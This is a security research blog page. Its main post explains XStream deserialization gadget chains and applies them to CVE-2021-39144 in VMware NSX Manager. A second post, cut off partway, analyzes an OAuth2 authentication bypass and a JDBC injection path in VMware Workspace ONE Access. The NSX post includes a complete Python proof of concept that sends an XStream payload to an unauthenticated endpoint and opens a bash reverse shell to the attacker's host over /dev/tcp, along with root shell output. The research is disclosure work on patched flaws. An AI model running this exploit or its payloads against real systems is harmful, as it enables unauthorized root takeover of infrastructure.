Normal view

There are new articles available, click to refresh the page.
Before yesterdaySource Incite

Eat What You Kill :: Pre-authenticated Remote Code Execution in VMWare NSX Manager

25 October 2022 at 14:00

This blog post was authored by Sina Kheirkhah. Sina is a past student of the Full Stack Web Attack class.

VMWare NSX Manager is vulnerable to a pre-authenticated remote code execution vulnerability and at the time of writing, will not be patched due to EOL this was patched in VMSA-2022-0027. The following blog is a collaboration between myself and the Steven Seeley who has helped me tremendously along the way.

Before we begin with the vulnerability, let’s have an overview of XStream.

XStream is a set of concise and easy-to-use open-source class libraries for marshalling Java objects into XML or unmarshalling XML into Java objects. It is a two-way converter between Java objects and XML.

Serialization:

XStream XS = new XStream();
Person person = new Person();
person.setName("sinsinology");

System.out.println(XS.toXML(person));
<Person.Person>
  <Name>sinsinology</Name>
</Person.Person>

Deserialization:

XStream XS = new XStream();
Person imported = (Person) XS.fromXML(
                "<Person.Person>\n" +
                "  <Name>sinsinology</Name>\n" +
                "</Person.Person>\n");

System.out.println(imported.getName()); // sinsinology

XStream uses Java reflection to translate the Person type to and from XML.

XStream also understands the concept of Alias, this worth remembering

XStream XS = new XStream();
XS.alias("srcincite", Person.class);
Person imported = (Person) XS.fromXML(
                "<srcincite>\n" +
                "  <Name>mr_me</Name>\n" +
                "</srcincite>\n");

System.out.println(imported.getName()); // mr_me

In addition to user-defined types like Person, XStream recognizes core Java types out of the box. For example, XStream can read a Map from XML:

String xml = "" 
    + "<map>" 
    + "  <element>" 
    + "    <string>foo</string>" 
    + "    <int>10</int>" 
    + "  </element>" 
    + "</map>";
XStream xStream = new XStream();

Map<String, Integer> map = (Map<String, Integer>) xStream.fromXML(xml);

What makes XStream Lovely

If you haven’t noticed so far with the Person example, XStream has an awesome feature and that is, when it unmarshalls an object, it doesn’t need the object to implement the Serializable interface. This is one of the core differences between marshallers and serializers. This greatly facilitates injection attacks increasing the number of ways which you can exploit XStream, not depending only on classes which implement Serializable.

There is a catch though. Assume you want to have the below payload unmarshalled:

new ProcessBuilder().command("calc").start();

You can instantiate the ProcessBuilder and set the command for it, but it’s not possible to invoke the start method because when marshalling the XML, XStream only invokes constructors and sets fields. Therefore, the attacker doesn’t have a straightforward way to invoke the arbitrary methods unless they are setters.

Dynamic Proxies

Dynamic proxies are a design pattern in Java which provides a proxy for a certain object, and the proxy object controls the access to the real object. The proxy class is mainly responsible for pre-processing the message for the proxied class (real object), filtering the message, and then passing the message to the proxied class, and finally return the post-processed message. In a nutshell a proxy class will complete a call by calling the proxied class and encapsulating the execution result.

Accessing the target object through a Proxy is very powerful since you can redirect execution from an undesired method call to a targeted method call without modifying any code. Simply put, proxies are fronts or wrappers that pass function invocation through their own facilities (onto real methods) – potentially adding some functionality.

Great thing about dynamic proxy is it can pretend to be an implementation of any interface and it routes all method invocations to a single handler which is the invoke() method

Now proxies in java can get divided into static and dynamic but for now, we just need to know about the dynamic proxy. In order to start using dynamic proxies in Java we’ll need to implement the InvocationHandler interface. The class that implements InvocationHandler will contain the custom code which will do the pre-processing before proxying a call to the target object.

package src.incite;

import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.*;

class ProxyHandler implements InvocationHandler {
    private Object obj;
    public ProxyHandler(Object obj) {
        this.obj = obj;
    }
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Object result = method.invoke(obj, args);
        System.out.println(String.format("[PROXY] The %s method got invoked", method.getName() ));
        return result;
    }
}

public class Test {
    public static void main(String[] args) throws Exception {
        @SuppressWarnings("unchecked")
        Map<String, Integer> colors = (Map<String, Integer>)Proxy.newProxyInstance(
                Test.class.getClassLoader(),
                new Class[] {Map.class},
                new ProxyHandler(new HashMap<>())
        );
        colors.put("one", 1);
        colors.put("two", 2);
        colors.put("three", 3);
    }
}

Output…

[PROXY] The put method got invoked
[PROXY] The put method got invoked
[PROXY] The put method got invoked

Let’s take a closer look at the invoke method signature:

invoke(Object proxy, Method method, Object[] args)

The three important parameters are:

  • proxy: the object being proxied
  • method: the method to call
  • args: parameters in the method

Looking at our proxy you’ll soon realize we are doing the pre-processing but not the post-processing which in this case does not matter that much. We are only interested in getting our custom code to be executed but if you are interested to learn more about dynamic proxies I’ll highly recommend checking out Baeldung post about dynamic proxies.

Java Event Handlers

The JDK provides a commonly-used InvocationHandler called java.beans.EventHandler. This class can be instantiated to invoke a defined method on another object when a particular method (or even ANY method) is invoked.

    public static <T> T create(Class<T> listenerInterface,
                               Object target, String action)					

We know that arbitrary code can be executed by invoking the start method on a ProcessBuilder instance. Now that we can use EventHandler to redirect any receiving method invocation request to arbitrary method (in this case the start method of a ProcessBuilder instance). First though, we need to find a data type that will do a method invocation on our EventHandler.

Luckily Java has a interface named Comparable. Alvaro discovered nearly 10 years ago that whenever a TreeSet is created and it’s generic has been set to Comparable , the TreeSet constructor will invoke the compareTo method of all the members which get added to the TreeSet. The reason for this is because a TreeSet instance is supposed to be an ordered data structure and to keep the order, a comparison must be done.

Now that you know about TreeSet and Comparable, it’s possible to achieve automatic code execution by marshalling a TreeSet that contains objects that implement the Comparable interface such as a String or Integer. When the TreeSet is unmarshalled and instantiated, the Comparable interface methods are automatically called in order to sort the elements of the TreeSet.

public final class String
    implements java.io.Serializable, Comparable<String>, CharSequence {
	
public final class Integer extends Number implements Comparable<Integer> {

The following code throws an exception before we reach the toXML method:

Set<Comparable> set = new TreeSet<Comparable>();
set.add("foo");
set.add(EventHandler.create(Comparable.class, new ProcessBuilder("gnome-calculator"), "start"));
String payload = xstream.toXML(set);
System.out.println(payload);
Exception in thread "main" java.lang.ClassCastException: java.lang.UNIXProcess cannot be cast to java.lang.Integer
    at com.sun.proxy.$Proxy0.compareTo(Unknown Source)
    at java.util.TreeMap.put(TreeMap.java:568)
    at java.util.TreeSet.add(TreeSet.java:255)
    at src.incite.Test.main(Test.java:45)

However, it essentially it boils down to the following payload:

<sorted-set>
    <string>foo</string>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>gnome-calculator</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</sorted-set>
  1. A TreeSet gets instantiated
  2. Its members get populated
  3. The TreeSet will invoke compareTo method on every member
  4. The second member is a dynamic proxy which is delegating all method invocation to an EventTarget
  5. The EventTarget of type ProcessBuilder gets instantiated with its command field set to gnome-calculator
  6. EventHandler will call the start method of EventTarget
  7. ProcessBuilder runs the arbitrary command

Anything other than Dynamic Proxy?

I have decided to also share another instance of XStream arbitrary code execution so you can better understand other possibilities. When it comes to creating gadgets for XStream, it’s worth mentioning that looking at the current classes in the class path can help you find new gadgets, an example of this is the exploitation of CVE-2015-3253 using XStream.

In 2016 Jenkins was exploited using the Groovy Expando gadget that incorporates the CVE-2015-3253 vector of Groovys MethodClosure. Let’s study this payload carefully and begin there.

/**
 * Represents a method on an object using a closure which can be invoked
 * at any time
 * 
 */
public class MethodClosure extends Closure {

    private String method;

    public MethodClosure(Object owner , String method ) { // 1
        super(owner); 
        this.method = method ;

        final Class clazz = owner.getClass()==Class.class?(Class) owner:owner.getClass();

        maximumNumberOfParameters = 0;
        parameterTypes = new Class [0];

        List<MetaMethod> methods = InvokerHelper.getMetaClass(clazz).respondsTo(owner, method);

        for(MetaMethod m : methods) {
            if (m.getParameterTypes().length > maximumNumberOfParameters) {
                Class[] pt = m.getNativeParameterTypes();
                maximumNumberOfParameters = pt.length;
                parameterTypes = pt;
            }
        }
    }

    public String getMethod() {
        return method;
    }

    protected Object doCall(Object arguments ) { 
        return InvokerHelper.invokeMethod(getOwner(), method, arguments); // 2
    }

    public Object getProperty(String property) {
        if ("method".equals(property)) {
            return getMethod();
        } else  return super.getProperty(property);        
    }
}

Looking at the class description, you can see that you can use it to call the method of the object, and it inherits the Closure class. The doCallmethod, will call our arbitrary object method directly using reflection. An object instance and method name are all we need to pass in through the constructor. Let’s take a look at the parent class (which is Closure):

    public V call() { // 3
        final Object[] NOARGS = EMPTY_OBJECT_ARRAY;
        return call(NOARGS);
    }

    @SuppressWarnings("unchecked")
    public V call(Object... args) {
        try {
            return (V) getMetaClass().invokeMethod(this,"doCall",args); // 4
        } catch (InvokerInvocationException e) {
            ExceptionUtils.sneakyThrow(e.getCause());
            return null; // unreachable statement
        }  catch (Exception e) {
            return (V) throwRuntimeException(e);
        }
    }

The doCall method of MethodClosure class can be called by using the call method of the parent class, why this much pain? well if you remember the doCall in MethodClosure has the protected access modifier which means the method can be accessed within the class and by classes derived from that class. As you can see at [3] the call function is invoking the doCall method at [4] from the getMetaClass() which is the MethodClosure instance.

The following code can execute the pop-up calculator:

MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder("gnsome-calculator"), "start");
methodClosure.call(); // Clojure.call() --> getMetaClass().invokeMethod(this, "doCall",args);

Now that we have all this explained, we have another question to answer and that is, how can we invoke the call method with XStream? since direct method invocation is not possible on the unmarshalled data we need a gadget chain!

Groovy Expando

Groovy provides a class named Expando which inherits from the GroovyObject parent class:

public interface GroovyObject {

    /**
     * Invokes the given method.
     *
     * @param name the name of the method to call
     * @param args the arguments to use for the method call
     * @return the result of invoking the method
     */
    Object invokeMethod(String name, Object args);

    /**
     * Retrieves a property value.
     *
     * @param propertyName the name of the property of interest
     * @return the given property
     */
    Object getProperty(String propertyName);

    /**
     * Sets the given property to the new value.
     *
     * @param propertyName the name of the property of interest
     * @param newValue     the new value for the property
     */
    void setProperty(String propertyName, Object newValue);

    /**
     * Returns the metaclass for a given class.
     *
     * @return the metaClass of this instance
     */
    MetaClass getMetaClass();

    /**
     * Allows the MetaClass to be replaced with a derived implementation.
     *
     * @param metaClass the new metaclass
     */
    void setMetaClass(MetaClass metaClass);
}

Every Groovy object (In this case Expando) must implement their own getProperty, setProperty, invokeMethod, getMetaClass and setMetaClass methods.

Why do we care about Expando?

In the Expando class, the method call is invoked. Here is the hashCode method:

    public int hashCode() {
        Object method = getProperties().get("hashCode"); // 1
        if (method != null && method instanceof Closure) {
            // invoke overridden hashCode closure method
            Closure closure = (Closure) method; // 2
            closure.setDelegate(this);
            Integer ret = (Integer) closure.call(); // 3
            return ret.intValue();
        } else {
            return super.hashCode();
        }

The code at [1] will get the property called hashCode and cast it to a Closure type at [2] and finally call call on it at [3]. The question now remains, how are we going to automatically call the hashCode on our Expando object? hashCode is called when objects keys are compared and we can create a HashMap to put the Expando object in as one of its members so that when the hashMap is getting instantiated during the unmarshalling, the hashCode method will be called.

The characteristics of the Map data structure are used here:

Map is a key-value type of data structure, so Map sets are not allowed to have duplicate keys. So, every time you add a key-value pair to the collection, it will judge whether the keys are equal, then the hashCode method of the key will be called when judging whether they are equal.

When a HashMap is instantiated, the put method is called to fill the Map. Below is the implementation of put:

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key.hashCode());  // 4
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

At [4] hashCode is called, which means we can finally get code injection upon object reconstruction:

MethodClosure methodClosure = new MethodClosure(new ProcessBuilder("gnome-calculator"), "start");
Expando maliciousPanda = new Expando();
maliciousPanda.setProperty("hashCode", methodClosure);
HashMap<Expando, Integer> mymap = new HashMap();
mymap.put(maliciousPanda, 123); // triggers gnome-calculator

It’s also worth mentioning, in order to produce the gadget for Groovy MethodClosure in XStream, you need to do one slight trick:

public class Main {
    public static void main(String[] args) throws Exception {
        Map map = new HashMap<Expando, Integer>();
        Expando expando = new Expando();
        MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder(cmd), "start");
        //To avoid throwing an exception, change the hashCode to another name for the time being. 
        expando.setProperty( "InciteTeam_hashCode" , methodClosure);
				map.put(expando, 1337 );
        //Serialize the object
        XStream xs = new XStream();
        String payload =  xs.toXML(map).replace("InciteTeam_hashCode", "hashCode");
        return payload;  
    }
}

The reason we set the property to InciteTeam_hashCode is because the hashCode method of the Expando instance will look for the hashCode property and will execute our gadget if its available. We can’t marshal the payload to XML correctly without executing the gadget on our own system! By doing a small trick and setting the property name to InciteTeam_hashCode and modifying the name after marshalling, it’s possible to prevent the exception and have our payload displayed.

Here is the produced payload:

<map>
  <entry>
    <groovy.util.Expando>
      <expandoProperties>
        <entry>
          <string>hashCode</string>
          <org.codehaus.groovy.runtime.MethodClosure>
            <delegate class="java.lang.ProcessBuilder">
              <command>
                <string>calc</string>
              </command>
              <redirectErrorStream>false</redirectErrorStream>
            </delegate>
            <owner class="java.lang.ProcessBuilder" reference="../delegate"/>
            <resolveStrategy>0</resolveStrategy>
            <directive>0</directive>
            <parameterTypes/>
            <maximumNumberOfParameters>0</maximumNumberOfParameters>
            <method>start</method>
          </org.codehaus.groovy.runtime.MethodClosure>
        </entry>
      </expandoProperties>
    </groovy.util.Expando>
    <int>1337</int>
  </entry>
</map>

Now that you have a pretty good understanding of XStream and its exploitation, let’s move on to the exploitation of VMWare NSX Manager.

Vulnerability Analysis

In XStream <= 1.4.18 there is a deserialization of untrusted data and is tracked as CVE-2021-39144. VMWare NSX Manager uses the package xstream-1.4.18.jar so it is vulnerable to this deserialization vulnerability. All we need to do is find an endpoint that is reachable from an unauthenticated context to trigger the vulnerability.

I found an authenticated case but upon showing Steven, he found another location in the /home/secureall/secureall/sem/WEB-INF/spring/security-config.xml configuration. This particular endpoint is pre-authenticated due to the use of isAnonymous.

    <http auto-config="false" use-expressions="true" entry-point-ref="authenticationEntryPoint" create-session="stateless">
        <csrf disabled="true" />
        <!-- ... -->
        <intercept-url pattern="/api/2.0/services/usermgmt/password/**" access="isAnonymous()" />
        <intercept-url pattern="/api/2.0/services/usermgmt/passwordhint/**" access="isAnonymous()" />
        <!-- ... -->
        <custom-filter position="BASIC_AUTH_FILTER" ref="basicSSOAuthNFilter"/>
        <custom-filter position="PRE_AUTH_FILTER" ref="preAuthFilter"/>
        <custom-filter after="SECURITY_CONTEXT_FILTER" ref="jwtAuthFilter"/>
        <custom-filter before="BASIC_AUTH_FILTER" ref="unamePasswordAuthFilter"/>
    </http>

We can see the an API function call in the com.vmware.vshield.vsm.usermgmt.restcontroller.UserMgmtController class:

    @RequestMapping(value = { "/password/{userId}" }, method = { RequestMethod.PUT })
    @ResponseStatus(HttpStatus.NO_CONTENT)
    @CheckBlacklist(userId = "#userId", remoteAddress = "#request.getRemoteAddr")
    public void resetPassword(@PathVariable("userId") String userId, @RequestBody final SecurityProfileDto securityProfileDto, final HttpServletRequest request) {
        final JoinPoint jp = Factory.makeJP(UserMgmtController.ajc$tjp_13, this, this, new Object[] { userId, securityProfileDto, request });
        resetPassword_aroundBody29$advice(this, userId, securityProfileDto, request, jp, RequestBodyValidatorAspect.aspectOf(), (ProceedingJoinPoint)jp);
    }

The resetPassword method uses the @RequestBody with a SecurityProfileDto type which sets the serializer to XStream making it the perfect candidate for exploitation:

/*    */ @XStreamAlias("securityProfile")
/*    */ public class SecurityProfileDto

An attacker can send a specially crafted XStream marshalled payload with a dynamic proxy and trigger remote code execution in the context of root!

Proof of Concept

Courtesy of @lystena

Image Courtesy of @lystena

#!/usr/bin/env python3
"""
VMWare NSX Manager XStream Deserialization of Untrusted Data Remote Code Execution Vulnerability
Version: 6.4.13-19307994
File: VMware-NSX-Manager-6.4.13-19307994-disk1.vmdk
SHA1: f828eccd50d5f32500fb1f7a989d02bddf705c45
Found by: Sina Kheirkhah of MDSec and Steven Seeley of Source Incite
"""

import socket
import sys
import requests
from telnetlib import Telnet
from threading import Thread
from urllib3 import disable_warnings, exceptions
disable_warnings(exceptions.InsecureRequestWarning)

xstream = """
<sorted-set>
    <string>foo</string>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>bash</string>
                    <string>-c</string>
                    <string>bash -i &#x3e;&#x26; /dev/tcp/{rhost}/{rport} 0&#x3e;&#x26;1</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</sorted-set>"""

def handler(lp):
    print(f"(+) starting handler on port {lp}")
    t = Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lp))
    s.listen(1)
    conn, addr = s.accept()
    print(f"(+) connection from {addr[0]}")
    t.sock = conn
    print("(+) pop thy shell!")
    t.interact()

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"(+) usage: {sys.argv[0]} <target> <connectback:port>")
        print(f"(+) eg: {sys.argv[0]} 192.168.18.135 172.18.182.204:1234")
        sys.exit(1)
    target = sys.argv[1]
    rhost  = sys.argv[2]
    rport  = 1234
    if ":" in sys.argv[2]:
        assert sys.argv[2].split(":")[1].isdigit(), "(-) didnt supply a valid port"
        rport = int(sys.argv[2].split(":")[1])
        rhost = sys.argv[2].split(":")[0]
    handlerthr = Thread(target=handler, args=[rport])
    handlerthr.start()
    # trigger rce
    requests.put(
        f"https://{target}/api/2.0/services/usermgmt/password/1337", 
        data=xstream.format(rhost=rhost, rport=rport), 
        headers={
            'Content-Type': 'application/xml'
        }, 
        verify=False
    )

Example:

researcher@neophyte:~$ ./poc.py
(+) usage: ./poc.py <target> <connectback:port>
(+) eg: ./poc.py 192.168.18.135 172.18.182.204:1234

researcher@neophyte:~$ ./poc.py 192.168.18.135 172.18.182.204:1337
(+) starting handler on port 1337
(+) connection from 172.18.176.1
(+) pop thy shell!
bash: cannot set terminal process group (5847): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0# id
id
uid=0(root) gid=101(secureall) groups=101(secureall)

A big thank you to Steven Seeley for helping me analyse, exploit and triage this vulnerability, I always say this: “that the man is a Wizard!”.

Conclusion

Don’t use outdated XStream!

References

IAM Whoever I Say IAM :: Infiltrating VMWare Workspace ONE Access Using a 0-Click Exploit

11 August 2022 at 14:00

VMWare Workspace ONE Access

On March 2nd, I reported several security vulnerabilities to VMWare impacting their Identity Access Management (IAM) solution. In this blog post I will discuss some of the vulnerabilities I found, the motivation behind finding such vulnerabilities and how companies can protect themselves. The result of the research project concludes with a pre-authenticated remote root exploit chain nicknamed Hekate. The advisories and patches for these vulnerabilities can be found in the references section.

Introduction

Single Sign On (SSO) has become the dominant authentication scheme to login to several related, yet independent, software systems. At the core of this are the identity providers (IdP). Their role is to perform credential verification and to supply a signed token containing assertions that a service providers (SP) can consume for access control. This is implemented using a protocol called Security Assertion Markup Language (SAML).

On the other hand, when an application requests resources on behalf of a user and they’re granted, then an authorization request is made to an authorization server (AS). The AS exchanges a code for a token which is presented to a resource server (RS) and the requested resources are consumed by the requesting application. This is known as Open Authorization (OAuth), the auth here is standing for authorization and not authentication.

Whilst OAuth2 handles authorization (identity), and SAML handles authentication (access) a solution is needed to manage both since an organizations network perimeter can get very wide and complex. Therefore, a market for Identity and Access Management (IAM) solutions have become very popular in the enterprise environment to handle both use cases at scale.

Motivation

This project was motivated by a high impact vulnerabilities affecting similar software products, let’s take a look in no particular order:

  1. Cisco Identity Services Engine

    This product was pwned by Pedro Ribeiro and Dominik Czarnota using a pre-authenticated stored XSS vulnerability leading to full remote root access chaining an additional two vulnerabilities.

  2. ForgeRock OpenAM

    This product was pwned by Michael Stepankin using a pre-authenticated deserialization of untrusted data vulnerability in a 3rd party library called jato. Michael had to get creative here by using a custom Java gadget chain to exploit the vulnerability.

  3. Oracle Access Manager (OAM)

    Peter Json and Jang blogged about a pre-authenticated deserialization of untrusted data vulnerability impacting older versions of OAM.

  4. VMWare Workspace ONE Access

    Two high impact vulnerabilities were discovered here. The first being CVE-2020-4006 which was exploited in the wild (ITW) by state sponsored attackers which excited my interest initially. The details of this bug was first revealed by William Vu and essentially boiled down to a post-authenticated command injection vulnerability. The fact that this bug was post-authenticated and yet was still exploited in the wild (ITW) likely means that this software product is of high interest to attackers.

    The second vulnerability was discovered by Shubham Shah of Assetnote which was a SSRF that could have been used by malicious attackers to leak the users JSON Web Token (JWT) via the Authorization header.

With most of this knowledge before I even started, I knew that vulnerabilities discovered in a system like this would have a high impact. So, at the time I asked myself: does a pre-authenticated remote code execution vulnerability/chain exist in this code base?

Version

The vulnerable version at the time of testing was 21.08.0.1 which was the latest and deployed using the identity-manager-21.08.0.1-19010796_OVF10.ova (SHA1: 69e9fb988522c92e98d2910cc106ba4348d61851) file. It was released on the 9th of December 2021 according to the release notes. This was a Photon OS Linux deployment designed for the cloud.

Challenges

I had several challenges and I think it’s important to document them so that others are not discouraged when performing similar audits.

  1. Heavy use of Spring libraries

    This software product heavily relied on several spring components and as such didn’t leave room for many errors in relation to authentication. Interceptors played a huge role in the authentication process and were found to not contain any logic vulnerabilities in this case.

    Additionally, With Spring’s StrictHttpFirewall enabled, several attacks to bypass the authentication using well known filter bypass attacks failed.

  2. Minimal attack surface

    There was very little pre-authenticated attack surface that exposed functionality of the application outside of authentication protocols like SAML and OAuth 2.0 (including OpenID Connect) which minimizes the chance of discovering a pre-authenticated remote code execution vulnerability.

  3. Code quality

    The code quality of this product was very good. Having audited many Java applications in the past, I took notice that this product was written with security in mind and the overall layout of libraries, syntax used, spelling of code was a good reflection of that. In the end, I only found two remote code execution vulnerabilities and they were in a very similar component.

Let’s move on to discussing the vulnerabilities in depth.


OAuth2TokenResourceController Access Control Service (ACS) Authentication Bypass Vulnerability

The com.vmware.horizon.rest.controller.oauth2.OAuth2TokenResourceController class has two exposed endpoints. The first will generate an activation code for an existing oauth2 client:

/*     */   @RequestMapping(value = {"/generateActivationToken/{id}"}, method = {RequestMethod.POST})
/*     */   @ResponseBody
/*     */   @ApiOperation(value = "Generate and update activation token for an existing oauth2 client", response = OAuth2ActivationTokenMedia.class)
/*     */   @ApiResponses({@ApiResponse(code = 500, message = "Generation failed, unknown error."), @ApiResponse(code = 400, message = "Generation failed, client is invalid or not specified.")})
/*     */   public OAuth2ActivationTokenMedia generateActivationToken(@ApiParam(value = "OAuth 2.0 Client identifier", example = "\"my-auth-grant-client1\"", required = true) @PathVariable("id") String clientId, HttpServletRequest request) throws MyOneLoginException {
/* 128 */     OrganizationRuntime orgRuntime = getOrgRuntime(request);
/* 129 */     OAuth2Client client = this.oAuth2ClientService.getOAuth2Client(orgRuntime.getOrganizationId().intValue(), clientId);
/* 130 */     if (client == null || client.getIdUser() == null) {
/* 131 */       throw new BadRequestException("invalid.client", new Object[0]);
/*     */     }

The second will activate the device OAuth2 client by exchanging the activation code for a client ID and client secret:

/*     */   @RequestMapping(value = {"/activate"}, method = {RequestMethod.POST})
/*     */   @ResponseBody
/*     */   @AllowExecutionWhenReadOnly
/*     */   @ApiOperation(value = "Activate the device client by exchanging an activation code for a client ID and client secret.", notes = "This endpoint is used in the dynamic mobile registration flow. The activation code is obtained by calling the /SAAS/auth/device/register endpoint. The client_secret and client_id returned in this call will be used in the call to the /SAAS/auth/oauthtoken endpoint.", response = OAuth2ClientActivationDetails.class)
/*     */   @ApiResponses({@ApiResponse(code = 500, message = "Activation failed, unknown error."), @ApiResponse(code = 404, message = "Activation failed, organization not found."), @ApiResponse(code = 400, message = "Activation failed, activation code is invalid or not specified.")})
/*     */   public OAuth2ClientActivationDetails activateOauth2Client(@ApiParam(value = "the activation code", required = true) @RequestBody String activationCode, HttpServletRequest request) throws MyOneLoginException {
/* 102 */     OrganizationRuntime organizationRuntime = getOrgRuntime(request);
/*     */     try {
/* 104 */       return this.activationTokenService.activateAndGetOAuth2Client(organizationRuntime.getOrganization(), activationCode);
/* 105 */     } catch (EncryptionException e) {
/* 106 */       throw new BadRequestException("invalid.activation.code", e, new Object[0]);
/* 107 */     } catch (MyOneLoginException e) {
/*     */
/* 109 */       if (e.getCode() == 80480 || e.getCode() == 80476 || e.getCode() == 80440 || e.getCode() == 80558) {
/* 110 */         throw new BadRequestException("invalid.activation.code", e, new Object[0]);
/*     */       }
/* 112 */       throw e;
/*     */     } 
/*     */   }

This is enough for an attacker to then exchange the client_id and client_secret for an OAuth2 token to achieve a complete authentication bypass. Now, this wouldn’t have been so easily exploitable if no default OAuth2 clients were present, but as it turns out. There are two internal clients installed by default:

We can verify this when we check the database on the system:

These clients are created in several locations, one of them is in the com.vmware.horizon.rest.controller.system.BootstrapController class. I won’t bore you will the full stack trace, but it essentially leads to a call to createTenant in the com.vmware.horizon.components.authentication.OAuth2RemoteAccessServiceImpl class:

/*     */   public boolean createTenant(int orgId, String tenantId) {
/*     */     try {
/* 335 */       createDefaultServiceOAuth2Client(orgId); // 1
/* 336 */     } catch (Exception e) {
/* 337 */       log.warn("Failed to create the default service oauth2 client for org " + tenantId, e);
/* 338 */       return false;
/*     */     }
/* 340 */     return true;
/*     */   }

At [1] the code calls createDefaultServiceOAuth2Client:

/*     */   @Nonnull
/*     */   @Transactional(rollbackFor = {MyOneLoginException.class})
/*     */   @ReadWriteConnection
/*     */   public OAuth2Client createDefaultServiceOAuth2Client(int orgId) throws MyOneLoginException {
/* 116 */     OAuth2Client oAuth2Client = this.oauth2ClientService.getOAuth2Client(orgId, "Service__OAuth2Client");
/* 117 */     if (oAuth2Client == null) {
/* 118 */       Organizations firstOrg = this.organizationService.getFirstOrganization();
/* 119 */       if (firstOrg.getId().intValue() == orgId) {
/* 120 */         log.info("Creating service_oauth2 client for root tenant.");
/* 121 */         return createSystemScopedServiceOAuth2Client(firstOrg, "Service__OAuth2Client", null, "admin system"); // 2
/*     */       }
/*     */     //...
/* 131 */     return oAuth2Client;
/*     */   }

The code at [2] calls createSystemScopedServiceOAuth2Client which, as the name suggests creates a system scoped oauth2 client using the clientId “Service__OAuth2Client”. I actually found another authentication bypass documented as SRC-2022-0007 using variant analysis, however it impacts only the cloud environment due to the on-premise version not loading the authz Spring profile by default.

DBConnectionCheckController dbCheck JDBC Injection Remote Code Execution Vulnerability

The com.vmware.horizon.rest.controller.system.DBConnectionCheckController class exposes a method called dbCheck

/*     */   @RequestMapping(method = {RequestMethod.POST}, produces = {"application/json"})
/*     */   @ProtectedApi(resource = "vrn:tnts:*", actions = {"tnts:read"})
/*     */   @ResponseBody
/*     */   public RESTResponse dbCheck(@RequestParam(value = "jdbcUrl", required = true) String jdbcUrl, @RequestParam(value = "dbUsername", required = true) String dbUsername, @RequestParam(value = "dbPassword", required = true) String dbPassword) throws MyOneLoginException {
/*     */     String driverVersion;
/*     */     try {
/*  76 */       if (this.organizationService.countOrganizations() > 0L) { // 1
/*  77 */         assureAuthenticatedApiAdmin(); // 2
/*     */       }
/*  79 */     } catch (Exception e) {
/*  80 */       log.info("Check for existing organization threw an exception.", driverVersion);
/*     */     }
/*     */
/*     */     try {
/*  84 */       String encryptedPwd = configEncrypter.encrypt(dbPassword);
/*  85 */       driverVersion = this.dbConnectionCheckService.checkConnection(jdbcUrl, dbUsername, encryptedPwd); // 3
/*  86 */     } catch (PersistenceRuntimeException e) {
/*  87 */       throw new MyOneLoginException(HttpStatus.NOT_ACCEPTABLE.value(), e.getMessage(), e);
/*     */     }
/*  89 */     return new RESTResponse(Boolean.valueOf(true), Integer.valueOf(HttpStatus.OK.value()), driverVersion, null);
/*     */   }

At [1] the code checks to see if there are any existing organizations (there will be if it’s set-up correctly) and at [2] the code validates that an admin is requesting the endpoint. At [3] the code calls DbConnectionCheckServiceImpl.checkConnection using the attacker controlled jdbcUrl.

/*  73 */   public String checkConnection(String jdbcUrl, String username, String password) throws PersistenceRuntimeException { return checkConnection(jdbcUrl, username, password, true); }
/*     */   public String checkConnection(@Nonnull String jdbcUrl, @Nonnull String username, @Nonnull String password, boolean checkCreateTableAccess) throws PersistenceRuntimeException {
/*  87 */     connection = null;
/*  88 */     String driverVersion = null;
/*     */     try {
/*  90 */       loadDriver(jdbcUrl);
/*  91 */       connection = testConnection(jdbcUrl, username, password, checkCreateTableAccess); // 4
/*  92 */       meta = connection.getMetaData();
/*  93 */       driverVersion = meta.getDriverVersion();
/*  94 */     } catch (SQLException e) {
/*  95 */       log.error("connectionFailed");
/*  96 */       throw new PersistenceRuntimeException(e.getMessage(), e);
/*     */     } finally {
/*     */       try {
/*  99 */         if (connection != null) {
/* 100 */           connection.close();
/*     */         }
/* 102 */       } catch (Exception e) {
/* 103 */         log.warn("Problem closing connection", e);
/*     */       }
/*     */     }
/* 106 */     return driverVersion;
/*     */   }

The code calls DbConnectionCheckServiceImpl.testConnection at [4] with an attacker controlled jdbcUrl string.

/*     */   private Connection testConnection(String jdbcUrl, String username, String password, boolean checkCreateTableAccess) throws PersistenceRuntimeException {
/*     */     try {
/* 124 */       Connection connection = this.factoryHelper.getConnection(jdbcUrl, username, password); // 5
/*     */
/*     */
/* 127 */       log.info("sql verification triggered");
/* 128 */       this.factoryHelper.sqlVerification(connection, username, Boolean.valueOf(checkCreateTableAccess));
/*     */
/* 130 */       if (checkCreateTableAccess) {
/* 131 */         return testCreateTableAccess(jdbcUrl, connection);
/*     */       }
/*     */
/* 134 */       return testUpdateTableAccess(connection);
/*     */     }

The code calls FactoryHelper.getConnection at [5].

/*     */     public Connection getConnection(String jdbcUrl, String username, String password) throws SQLException {
/*     */       try {
/* 427 */         return DriverManager.getConnection(jdbcUrl, username, password); // 6
/* 428 */       } catch (Exception ex) {
/* 429 */         if (ex.getCause() != null && ex.getCause().toString().contains("javax.net.ssl.SSLHandshakeException")) {
/* 430 */           log.info(String.format("ssl handshake failed for the user:%s ", new Object[] { username }));
/* 431 */           throw new SQLException("database.connection.ssl.notSuccess");
/*     */         }
/* 433 */         log.info(String.format("Connection failed for the user:%s ", new Object[] { username }));
/* 434 */         throw new SQLException("database.connection.notSuccess");
